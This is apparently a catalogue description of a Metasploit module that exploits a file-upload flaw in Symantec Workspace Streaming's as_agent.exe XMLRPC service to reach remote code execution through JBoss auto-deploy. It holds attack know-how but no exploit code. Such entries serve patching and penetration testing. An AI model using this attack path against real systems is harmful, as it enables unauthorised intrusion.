This Metasploit module exploits a code execution flaw in Symantec Workspace Streaming. The vulnerability exists in the ManagementAgentServer.putFile XMLRPC call exposed by the as_agent.exe service, which allows for uploading arbitrary files under the server root. This Metasploit module abuses the auto deploy feature in the JBoss as_ste.exe instance in order to achieve remote code execution. This Metasploit module has been tested successfully on Symantec Workspace Streaming 6.1 SP8 and Windows 2003 SP2. Abused services listen on a single machine deployment, and also in the backend role in a multiple machine deployment.
